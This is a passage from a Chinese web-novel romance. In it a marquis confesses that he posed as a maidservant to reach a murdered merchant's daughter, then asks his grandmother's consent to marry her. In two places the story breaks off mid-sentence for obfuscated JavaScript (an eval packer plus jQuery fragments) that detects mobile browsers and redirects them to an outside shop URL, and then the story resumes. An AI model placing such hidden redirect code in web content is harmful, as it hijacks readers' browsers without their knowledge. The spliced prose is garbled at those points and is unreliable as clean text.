孟嫣：“那个打了房世子的长宁侯萧遇？” 萧遇继续颔首。 孟嫣速速在脑袋里过了一遍，自己好像没说过萧遇什么不好的言辞，心下暗暗松了口气，又问：“那你扮女使接近我的目的是什么？所图为何？” 这次换萧遇沉默了，良久才如实说道：“为了孟家的那笔财宝。” 孟嫣心下震惊，看来他是知道原身的身世的。 她一时没说话。 萧遇以为她将他当成了和那些匪寇一样的人，遂解释道：“我曾多次请兵出征，收复燕云，官家从不曾松口，这次官家应我，只要我能凑齐军饷，就准我出兵辽地。” 孟嫣这才缓缓开口：“所以，你是想要那笔财宝当军饷？” 萧遇点了点头，隐隐生出一丝忐忑，更多的却是期待。 孟嫣斟酌片刻，道：“可是……我也不知你口中的财宝在何处。” 没等萧遇反应过来这句话是什么意思，孟嫣就又道：“我这副身子之前一直不太好，两个月前那次病重，险些要了性命，好在命是捡回来了，却也不太记得之前的事了。” 萧遇的一双眼缓缓沉静下来，默然地望着她，忽而问：“所以那日夜里，你说你不太记得你父母了，其实是真不记得了？” 孟嫣轻轻点了点头。 萧遇又沉默了。 不知过了多久，他发出一声极轻的叹息，道：“天晚了，去睡吧。” 孟嫣却眨了眨眼没动。 萧遇轻问：“怎么了？” 孟嫣：“……你的样子……你的真容，我想看看。” 萧遇无奈地笑了：“说了这么久的话，你就没觉得我的声音熟悉吗？” 她以前见过长宁侯？还是原身以前见过长宁侯？ 萧遇见孟嫣眼中的疑惑不似作假，又轻声笑了笑，抬手指了指隔壁，提醒道：“吴郎君。” 孟嫣拧眉思索，吴郎君怎么了？接着就吃惊地瞪圆了眼睛，不敢置信地道：“你、你是吴郎君？” 萧遇轻轻颔首。 这么一提醒，孟嫣果真觉得这声音熟悉起来。 她一脸复杂地望着萧遇：“吴郎君和萧怀真都是你瞎起的名姓？” 萧遇：“算不上瞎起，吴姓是我母亲的姓氏，怀真，是我的字。” 孟嫣嘟囔：“至少有一样是真的。” 二人面对面站着，孟嫣依然没动。 萧遇：“现在可以去睡了吗？” 孟嫣无比复杂地看了萧遇一眼，缓缓点了点头。 34. 禀祖母 直到洗漱后，躺在榻上，孟嫣才恍然想到一些她曾忽略的事情。 比如，为何王牙婆找来的女使都那么奇葩，只有萧遇一个虽有缺陷，举止却是最为正常的一个。 再比如，搭建火阁后他不同意和她共睡一榻，其实也并非什么主家规矩使然，而是男女之别。 又比如，他说他洗漱不习惯被人看见，故而她从未见过他洗漱，甚至从未见过他洗碗洗衣，显然是让别人代他做的，不让她看见是怕露了馅。 还有他说被子湿了那晚，明显是要抱着被子去火阁外面睡，却没想到她会突然醒来。 …… 诸如此类，不胜繁多。 孟嫣翻了个身。 那她嘲讽得罪了房世子，近些日子她都相安无事，是不是也和他有关？ 孟嫣幽幽轻叹，明日要问一问才好。 若是和他无关，这么说房世子不屑于同她计较，今后她依然能安然度日。 若是和他有关…… 孟嫣又轻叹一声，缓缓闭上了眼睛。 隔壁院子。 林檎正同戍安显摆今日他吃了火锅，还说自己已经在孟小娘子那里过了明路，今后可以常去蹭饭了，若是你也想去蹭饭，就自己想办法去吧！ 说完美滋滋地翘起二郎腿，眉眼间都是掩饰不住的得意。 戍安见他这副小人得志的模样，气的发笑，却也暗暗琢磨起这火锅是个什么东西。 这时，门被推开，本该一个时辰后出现的侯爷竟然出现在了二人面前。 林檎立刻站起身来，笑嘻嘻道：“侯爷，您怎么这个时候回来了？” 萧遇言简意赅：“她知道我的身份了。” 林檎的笑容惊在了脸上，就连戍安神色也变了变。 萧遇看了二人一眼，又道：“也知道我的目的了。” 二人对视一眼，神色凝重。 林檎：“……那财宝？” 萧遇：“她不记得放在哪里了。” 二人：…… 萧遇接着道：“明日起，就不用再扮女使了。” 林檎：……他刚和戍安显摆完可以光明正大地去蹭饭。 萧遇没再多做解释，淡淡吩咐道：“净面吧！” 戍安戏谑地暼了林檎一眼，去准备净面事物。 林檎撇了撇嘴，替萧遇准备衣衫。 戍安一边帮萧遇净面，一边禀报道：“侯爷，明州知州楼文靖年后迁调入京。” 萧遇淡淡颔首。 孟家灭门案，楼文靖不仅及时破获，还带兵荡平了匪寇老巢，这于政绩上可是大功一件，升迁是意料之中的事。 只是…… 萧遇又想到了孟嫣不能亲自安葬双亲一事。 孟家灭门案真没什么隐情吗？若是有，这与楼文靖有关吗？还是与别的什么人有关？ 他敲了敲手指，吩咐戍安道：“明日你带人去趟明州，将孟家灭门案再细细查一遍，着重查查楼文靖。” 戍安：“侯爷是怀疑此案另有隐情？” 萧遇点了点头。 戍安眉心蹙起，回想哪里不对。 片刻后，眉心舒展，沉声道：“是”。 林檎看着二人打着哑谜，茫然道：“什么隐情？” 戍安又暼了他一眼，戏谑道：“你这么聪明，都能想到法子舔着脸去孟小娘子那里蹭饭，还能想不出有什么隐情？” 林檎：…… 萧遇对二人互怼已经习以为常，净面结束，换回了平日里的男装，又翻墙回了小院。 林檎“哎——”了一声，嘟囔道：“孟小娘子不是已经知道侯爷身份了吗？侯爷怎么又过去了？” 戍安则嘲笑地冷哼一声，又嫌弃地看了他一眼。 林檎：“别怪声怪气的，你知道就说出来啊！” 戍安又蔑他一眼，起身回房睡觉。 他当然也不知道侯爷为何又过去了，但是这不妨碍他嘲讽林檎。 萧遇回到小院，熟门熟路地进了火阁，为孟嫣换掉已经冷了的汤婆子。 孟嫣哼哼唧唧地蜷了蜷身子，将脸朝被子里埋了埋。 夜色昏暗，萧遇抬起手背，轻轻碰了碰她的发丝，起身出了火阁。 次日天明。 孟嫣和每日一样舒舒服服地醒了过来。 被窝里的汤婆子还温热，榻边的火炉也烧的正旺。 直到她出了火阁，才骤然想起她其实已经没有女使了。 可温暖的被窝和一夜好眠又提醒她，萧遇其实昨天来过，还和往日一样为她换了汤婆子，又燃了火炉。 孟嫣心底感到些许异样，也只一瞬便顷刻而散。 她出了屋门，就见林檎正骑在墙头啃油饼，那油饼金黄，看起来十分酥脆。 见孟嫣出来，立刻招了招手，囫囵将口中的油饼咽下去，笑出一口白牙：“孟小娘子，我家侯爷让我去郑家买了油饼，你的那份在锅里温着呢！记得吃！” 说完就又咬了一大口，吃了起来。 孟嫣瞅了瞅林檎手中的油饼，问：“你家吴郎……侯爷呢？” 林檎边吃边道：“我家侯爷回府了，一会儿就回来。” 孟嫣点了点，竟自去洗漱。 洗漱后，孟嫣迫不及待地取出温着的早饭，是林檎手中的同款油饼，只是看起来好像已经没那么酥脆了。 她拿起一只，咬了一口，饼里十分劲道，饼皮却已经软了，味道只有少许盐味。 孟嫣边嚼边想，若是里面灌个蛋，再加上些香肠、生菜、煎肉，刷上茱萸酱，不就是现代的鸡蛋灌饼吗？ 孟嫣默念了一句“郑家油饼”，想着哪日去店里转转，没准就能吃上鸡蛋灌饼了呢！ 孟嫣琢磨着吃鸡蛋灌饼时，萧遇已经回了长宁侯府，直奔祖母的院子松茂堂。 刚到门外，就听见祖母笑呵呵地盛赞：“这羊羔子蒸的，真是软烂入味。” 萧遇：……一大早就吃羊？ 刚要推门，就听见孔嬷嬷无奈的声音：“您就天天惦记着羊羔子，自从小侯爷被退了亲后，也不知还有谁家女儿愿意嫁进来，您也不替小侯爷的婚事着急。” 萧遇顿住，驻足听着，还让院里的下人别出声。 只听屋里老太太似是又吃了一大口羊肉，等了一会儿才轻哼了一声，道：“儿孙自有儿孙福，我哪里能管那么多。” 孔嬷嬷：“是是是，在您心里，孙子哪有羊羔子重要？” 随即屋内就传出了祖母呵呵的笑声，接着就是一声满足的喟叹。 老太太：“人活着不就是吃吃喝喝？发那愁做什么？我都这把年纪了，自该是颐享天年，儿孙的路就让儿孙自己去走吧，能走成什么样就是什么样。” 孔嬷嬷：“您倒是想得开。” 老太太又笑了两声：“想不开日子不也还是照样过？很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027438|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多事你不去做，自有别人去做，你不操心，自有别人去操心。就像那官场，处在多高的位置，就谋多大的事，有多大的能耐，就揽多大的活，谁也别瞎逞能。像我们这样的富贵人家啊，吃吃喝喝就好，别给官家添乱就行了！” 门外的萧遇抿了抿唇，推门而入。 老太太见是孙子回来了，惊奇道：“昨日不是回来过？今日怎么又回来了？不去伺候你那主家？” 萧遇冷不丁道：“我要娶主家为妻。” 老太太：…… 孔嬷嬷：…… 老太太觉得手里的羊羔子都有些不香了。 孔嬷嬷递过来打湿的巾帕，老太太示意放到旁边，她还没吃完呢！ 然后抬起眼皮掀了孙子一眼，道：“你倒是说说，你那主家是哪里人氏？年岁几何？祖上又有什么功名？” 老太太咬了一口羊肉，看着孙子，又问：“还有，你为何突然要娶她为妻？” 萧遇神色淡淡，看了孔嬷嬷一眼。 孔嬷嬷会意，竟自出了屋子，还将近前的下人都遣的远了些，亲自守在门外。 老太太见孙子竟还怕人偷听，心里有不太好的预感，沉声问：“你不会欺负了人家吧？” 萧遇：“……没有。” 老太太心底松了口气，又痛快地咬了一口羊肉，正要再问一遍为何要娶人家时，就听萧遇道：“……我和她同床共枕了二十余日。” 老太太呆了半晌，嘴唇蠕动，正要叱责，就听孙子又道：“所以孙儿要对她负责。” 老太太被堵得一句话也说不出来，只觉得手中的羊羔子都不香了。 萧遇：“她叫孟嫣，明州人氏，是舶商孟尚杰之女。” 老太太脑子转了半晌，方才把“明州”“舶商”“孟尚杰”联系起来，终于放下了手中的羊羔子，惊愕问道：“就是数月前被灭门的那个明州孟家？” 萧遇颔首。 老太太：“那她怎么……” 萧遇：“我也不知他父母用了什么法子将她送了出来，总之，她还活着。” 老太太也就没再多问，又道：“那你娶她，可是为了孟家的那笔财宝？” 萧遇没再说话，沉默下来。 老太太又举起了羊羔子吃了一口，哼声道：“你想没想过，若是有朝一日她知道了你的目的，她能不能接受的了？又会不会同你和离？等到了那一日你又当如何？要做那忘恩负义之辈吗？” 萧遇却抬起眼，几不可察地弯了弯唇角：“这么说，祖母是不介意她的门第，也不反对孙儿娶她？” 老太太：…… 她又轻哼一声：“你想娶谁就娶谁，老太太我管不着，以后的日子也是你们自己过的，是好是坏也都你们自己担着。” 萧遇不加掩饰地笑了笑。 老太太瞥见，微微扬了扬眉，摆摆手道：“她还在孝期，成亲也要后年了，你自己掂量着，滚吧！” 萧遇郑重地谢过祖母，方才离去。 孔嬷嬷进来悄声道：“老太太您这么快就同意了？不去见见那孟家女再说？” 老太太“啧”了一声，瞥眼道：“先前你不是还劝我替他婚事着着急吗？现在这有着落了，你怎么又怪我同意的太快？” 孔嬷嬷：“……这、这能一样嘛？” 老太太笑眯眯：“你就别操那心了，我这个孙子眼光还是信得过的，就是今后要有好戏看喽！” 35. 身世 萧遇离开府中直接去了孟嫣的小院，孟嫣正在火阁中练字。 见他进来，手中的笔停住，侧首朝他望去。 萧遇今日穿了一身深色锦袍，一如墙头初见那日，可给孟嫣的感觉却已经完全不同。 那日初见，她虽被吓了一跳，更多的却是好奇。 后来迷路跟在他身后那日，他虽面冷话少，却也暗暗迁就着她，让她觉得他是个大好人！ 他做她女使时，更是将她照料的妥帖周到，衣食住行完全不用她操心。 可如今他摇身一变成了侯爷，明明看上去和之前的“吴郎君”没有丝毫差别，可孟嫣就是能感受到他周身散出的威势。 萧遇本以为今日孟嫣醒来后，会对他男扮女装接近她一事有所介怀，甚至因二人同床共枕月余而气愤，怎么也要叱责他几句。 可让他意外的是，此刻她目光澄澈干净，只带着一丝好奇，看不出任何介怀和气愤。 萧遇的心情有几分微妙。 她是因为这个人是他？还是换成别人她也一样如此？ 他不动声色地走到桌案前，在她对面落座，拿起火箸拨了拨炭盆，又十分熟练地在风炉上煮了茶。 这倒有点像他做女使时候的样子了。 孟嫣笑了笑，今日她是有些事情要问他的。 茶炉滚沸，一盏清茶落在孟嫣面前。 孟嫣和平时一样双手捧在手心暖着，透过氤氲水汽望向对面的男人，缓缓开口：“吴……萧侯爷……” 孟嫣倏尔又笑了笑：“一时不知要如何称呼你了。” 萧遇心底的那几分微妙也顷刻而散，眼尾也几不可见地弯了弯，道：“还是叫我怀真吧。” 孟嫣便从善如流叫了声“怀真”。 声音刚落，二人齐齐顿住。 绵软的声音划过心头，似是那日午后翠着浮光的长睫，在他心头又轻轻拨了拨。 孟嫣觉得如今这样叫他，似是有些过于亲密，竟也生出几分不自在来。 她摇头失笑，轻啜一口香茶：“算了，我还是叫你侯爷吧。” 萧遇蠕了蠕嘴唇，缓缓点了点头。 孟嫣开门见山：“侯爷，房世子这些日子都没来找我麻烦，可与你有关？” 萧遇没想到她问的竟是此事，眉峰几不可见地动了动，颔首道：“给他找了些事做，他对这边就顾不上了。” 孟嫣对他异样的神色丝毫没有察觉，只心下轻叹，果真如此，那日后等房世子忙完再度记起被嘲讽一事，还是会来找她算账啊！ 眼见孟嫣面上起了一丝忧色，萧遇正要开口，就听她又道：“侯爷能给我讲讲我的身世吗？我的父亲母亲究竟出了何事？那笔财宝又是怎么回事？” 话音刚落，孟嫣又担心萧遇不会如实说出，就又补了一句：“或许侯爷说了之后我就能想起财宝藏在了哪里。” 萧遇眼中划过一丝了然，心下失笑，看来她还是对他扮女使接近她一事有所介怀。 他拨了拨炭火，缓缓开口：“你父亲孟尚杰是明州舶商，多年来一直跑占城、渤泥这条近洋航线，一年多以前，第一次跑了三佛齐、大食国这条远洋航线，回来时意外得了几箱财宝。” 说到此处，萧遇停了下来。 孟嫣也猜到了几分，意外得来的财宝，定然遭到了别人的觊觎，所以原身的父母应当是出事了。 果然，萧遇又道：“你父亲得了财宝的事不知怎么传了出去，数月前还传到了一火匪寇耳中……” 萧遇又停了下来。 孟嫣：“所以……他们都被、被……” 萧遇沉声：“被匪寇灭了门。” 孟嫣呼吸都停了停，周身发凉，缓了好久，方问：“我是怎么逃出来的？” 萧遇摇了摇头。 二人又沉默良久，萧遇才又缓缓开口：“你的母亲是一位见识不凡的女子，走南闯北去过许多地方。” 萧遇顿了顿，想到当时从周家南食店出来，他问她周家的面和明州的面比起来如何时，她沉默许久后说的话。 她说她不清楚明州食店的味道如何，只说和她阿娘做的味道有很大不同。 想来那时候她就已经不太记得父母了吧？记忆中却保留着她母亲做的那碗面的味道。 隔着桌案，萧遇抬手无声地揉了揉她的头。 孟嫣被突然伸过来的手吓了一跳，怔愣一瞬微微避开，问道：“那伙匪寇呢？” 萧遇似是什么都没察觉般收回手，道：“已经被明州知州带兵剿灭。” 孟嫣：“那我现在住的这座宅子呢？” 萧遇：“是你父亲一年多以前暗中购置的，写在了你的名下。” 这个“暗中”二字听起来十分微妙，似是原身父亲特意买了这座小院就为了藏放财宝一般。 可孟嫣却不觉得如此。 隔壁孙婶婶明显是知道她是谁，从孙婶婶的言语中，了解到原身和母亲也曾来这座小院住过几次，并非一直住在这里，且从未掩藏过身份。 若原身父亲真在这里藏了财宝，怎会不一直住在这里？而是常住明州？ 如此，原身父亲购置这座小院用来藏放财宝是不成立的。 孟嫣却没有说出来，没想到原身竟背着这么一桩血案，虽然案子已破，她的心头还是有几分沉重。 这和她刚穿过来时猜测的差不多，原身果真是长于富贵之家，家里又遭到变故。 至于原身父亲明明有钱，却买了小甜水巷里的这座小院，孟嫣就猜不出了。 孟嫣又想到了其他的：“孟家还有其他人吗？” 萧遇听着孟嫣说的“孟家”二字只觉得有些怪，却也没多做追问。 他点了点头却又摇了摇头：“你父亲是孟家旁支，和本家原本没什么走动，发迹后和本家才有了往来，只不过……” 孟嫣不解。 原身一家都被灭门了，就算本家想继续走动也走动不了了，还会有什么“只不过”？ 只听萧遇又道：“我朝律法，户绝之家的钱财、奴仆在扣除丧葬和祭祀祈福事用后，都交由近亲掌管。孟家本家的人为谁是近亲争得头破血流，终于争出结果后，才得知你父亲身后的财产并没有多少，那些人搜刮殆尽后便连夜跑开了。” 孟嫣明白了，捞不到更多好处，自然就躲得远远的。 只是她奇怪道：“孟家……我父亲怎会没有多少财产？” 萧遇深深看了她一眼，却没说话。 孟嫣却似乎明白了，原身父亲应该早就料到了孟家要出事，所以才用了不知什么法子将原身送了出来，早就帮原身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031161|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺好了后路。 只是原身听闻家中变故终究没能挺过去。 孟嫣手指轻轻摩挲着茶盏，望着挂在衣架上的那件狐皮斗篷怔怔出神。 她突然明白了这座市井小院里为何会有一口干净的水井，为何厨房里会有各种各样的锅炉厨具，还有东南角的桂花树、西南角的柿子树、窗前的海棠，以及那条崭新的砖石路…… 她揉了揉发酸的眼睛，轻问：“那……我们家的仆从还在吗？同样遭难的那些人，她们家里是否已经给了补偿？” 萧遇攥了攥手指，克制着想再去轻轻抚一抚她发丝的冲动，道：“遭了难的，都由官府做主，从家财中拿出一些给了补偿，活下来的也都按我朝律法被本家之人带走，不过你的一位贴身女使和你们家的秦管事，至今都还杳无踪迹。” 这是之前查财宝去向时查到的，不过那时是两位女使都没了踪迹，这两位女使都是被孟家救下来的孤女。 当时他看案件卷宗时，上面写着孟家女不忍受辱自毁容貌后自尽。 现在看来，是其中一位女使替代了她，不过此事还是不要让她知道了。 而另一位女使到现在都没有踪迹，极大可能也遭遇了不测。 至于秦管事，要么也遭了难，要么就是故意躲起来。 毕竟财宝还没有下落，作为孟尚杰最看重的大管事，自然了解财宝去向，就是不知这伙匪寇与他有没有什么关系。 不过萧遇觉得这伙匪寇与他无关，若是有关，楼文靖在剿灭匪寇时就应该能找到此人。 然而，直到现在，楼文靖也还在暗中查找秦管事的下落。 孟嫣也想到了这种可能，同时，她又想到了另一个问题。 若是引来那伙匪寇的人知道自己还活着的话…… 她忽又觉得周身发冷，目光直直地盯着已经空了的茶盏，眉间凝起一抹忧色。 萧遇观察着她的神色，猜到了她在担心什么，摩挲了下手指，问：“昨日我说的事，你可答应？” 孟嫣心不在焉地“嗯？”了一声。 萧遇：“我养你的事。” 孟嫣缓缓抬头，眉间忧色依旧，似是没听懂一般。 萧遇：“昨晚你说养不起我了，那今后就换我来养你，可好？” 记忆回笼，昨日发生的事骤然浮现在脑海，孟嫣的眉间还未舒展开，脸上就挂上了将笑未笑、似哭非哭的表情。 她昨日竟能委屈巴巴地说出那样的话来。 她的确有些养不起萧遇了，毕竟短短两个月竟花了近四百两银子。 可她还有一千两银子的钱帖，还没落到要别人养的地步。 只是孟嫣微微一顿，他口中的养她，应该不是要娶她的意思吧？说的应该是换她给萧遇做女使的意思吧？ 孟嫣面色有几分尴尬，讪讪地笑道：“我就是做不来洗衣洗碗这些活计才找的女使，侯爷府中定然不缺什么女使，我还是算了吧！” 萧遇愣了愣，其实这两个月他也没做过洗衣洗碗的事，最多就生个火炉，煮些茶水，大部分时候二人都是到处去吃吃喝喝。 他沉默一瞬，道：“这些都不用你做。” 孟嫣心头一跳。 只听萧遇又道：“我养你，是想让你做我萧怀真的夫人，长宁侯府的主母！”